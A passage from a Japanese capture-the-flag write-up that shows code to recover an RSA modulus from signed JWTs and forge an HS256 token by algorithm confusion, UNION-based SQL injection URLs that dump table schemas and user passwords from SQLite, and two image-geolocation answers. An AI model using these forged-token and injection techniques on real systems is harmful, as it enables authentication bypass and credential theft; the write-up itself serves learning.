    b"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAwIn0.NTEv7Fylr6mPFrC2Qf-YNAbq9uFS173dFvYIJuH4N_cmA8OwfDbS-_xu4h0pc3Nzob-BaqN6L06O2dtRYAu33l6KLKngp_benw8O8dQE-2ItcsXW9N5pfxmuDhid3eZwy4XStJy7kqiXHIIRaafLJJNhlQfpft3VGqqc-h7Xtkjet_HbtRBZIHN3ObqtVbAi0NqQRTaL_OM4m0l_uhF8NqFSjW9s4zz1mGXz5pjgjAu42NUk6bKoBvbNVFJ2Or_79cGYAmpFUumn3X5E69-oVN7SFxPFnjzEoOa8UHaJ3txCAEYrXvhld1YWpL7DSOIY3Yu3q8hvQ5de3ZgnOCC8Qg",  # CA00000000
    b"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAxIn0.WISWOCc285s7iLet7Cs3SVAbmPxhnfwsfAQUauwAkO8yHnGjmPV0TTDjhBwaK2gziTso36oSLW6hv6hikepUQCcajK02INpaFpXr1FeLtiEG6H8k7DH50idMbgX31IfBYn32FWmJUwLWmHuP49qQLphoHSJt5ZYMgupYIiV0DDrtODQio0NCDyjr0E1uV-fiwKghAI0D6qQA26sf0Q8q83JvKEIzHeDw2tuScC0_YOYH8tMWARYKaGrcevMF4ZD4Cw1XI4gK2dgpFT3Is4o4XDF6wvZyQusfTFb6JnIJPRNvqXTr_SM-xZg_U1Agmn2YuTRb6E8RV6LcmmuW9aUqbA",  # CA00000001
    b"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAyIn0.NP4_5cwrRv90_k4nDBHKynp-paI1uhyoeV3vBrd581L4OcdbjXN4A2oXbJnTX4otiHAvjdpACjdHQSO29m7svVhiJUvZWGW8_8RUk6jaO_TD4XlQrlRS2ix4QQJdGu3DQUJsGqbmEKkO5wpN_7fmptwWAtce7Ym9aekP-tkL4t6ElPlotRoCvZoGDjTY-HLGFfKDr1_ZQoKPz8vCKN40TV0c4DObYmK7ivaBGlg64ynTThKpD86lizwbXNU89q1PaLYciU5uBsESFkaBCKKV1D3YegT3dBAM5VaSWiZ7pk9wgzJasFSy_BpV-rnhr1w9OHrUWuy8coaZCLKjOlClMg",  # CA00000002
    b"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAzIn0.SYjfB2wtjQEJRc4iy6a_gMalyScEGkbctrJDyVlcQO3DZXr53rJzIulyEnYnmSJs11upKkXyfuJqT5tjWzIcQYlIv052iGSrG2YYh870fXxPZvpdaCvN3rpZws7on-ExBItp636tadTc5cLv_yPSkF8FdwSYNJODjakVQQWupnnjECY7ueotPNJjuu4RiIEmJxO46AeVgrxT63XmYrnpHa9fOt-Tn6Wv2_spJ-qUswfiMxoeIiMZwt2paPPZcPEBAKtpZzYROz5aHzbeYZ2YNz-qdpBZwDRXe__SEmomVwQ8YcPpHcp-YS5A9_TZPGGI8b98SJi_1bwbxv7IiFyrqw",  # CA00000003
]

ms = []
cs = []
for token in tokens:
    c = Integer(bytes_to_long(padding + der_encode + sha256(token[:token.rindex(b".")]).digest()))
    m = Integer(bytes_to_long(urlsafe_b64decode(token[token.rindex(b".")+1:] + b"==")))
    ms.append(m)
    cs.append(c)

e = 65537  # e = 3 とかも試したけど、違った
N = gcd(ms[0] ** e - cs[0], ms[1] ** e - cs[1])
assert N > 1

(python の int で m ** e を計算するのは無限時間かかったため、 sage の Integer を使いました)

これで求まった $N$ を使って PUBLIC KEY を生成し、その文字列で HS256 の署名をします。

import jwt
from Crypto.PublicKey import RSA

rsa = RSA.construct((N, e))
pubkey = rsa.export_key().decode()
payload = {"status": "gold", "ffp": "CA00000000"}
enc = jwt.encode(payload, pubkey+"\n", algorithm="HS256")  # rsa.export_key() で出力された文字列の最後には改行がないことに注意
print(enc)  # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiJnb2xkIiwiZmZwIjoiQ0EwMDAwMDAwMCJ9.WwYQkH41G6gZiu_h2bTdAdf41BrBGAheT-VLqk_c1nU

これを Header の Authorization に加えて /upgrade/flag をみることで、フラグが手に入りました。

union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}

jwt の実装を追うのが大変でした…

Meet the Union Committee

典型的な SQLi の問題。 GET を query で id を指定しており、 id=' とするとエラーが表示されました。エラーメッセージから、 sqlite3 が動いていること、 SELECT id, name, email FROM users WHERE id=" + params["id"] を呼び出していることがわかりました。

UNION を使って SQLi をしていきます。

/?id=0%20UNION%20SELECT%201,%20name,%20name%20FROM%20sqlite_master WHERE TYPE='table'
- table として comments, sqlite_sequence, users があることがわかる
/?id=0%20UNION%20SELECT%201,%20sql,%20sql%20FROM%20sqlite_master WHERE TYPE='table' AND NAME='users'
- schema が CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT) であることがわかる
/?id=0%20UNION%20SELECT%201,%20password,%20name%20FROM%20users
- password にフラグが書かれている

union{uni0n_4ll_s3l3ct_n0t_4_n00b}

GEOINT

Where in the World? (2)

左奥に写っているテトリスのような窓をした建物を google lens で検索したらこの建物の名前がわかり、 google map で住所を検索して問題の画像のように見える場所を探しました。

al. Jerozolimskie, Warszawa, Poland

Where in the World? (3)

背景に写っている茶色の建物を google lens で検索したらこの建物がわかり、google map で住所を検索して問題の画像のように見える場所を探しました。

Mission Street, San Francisco, United States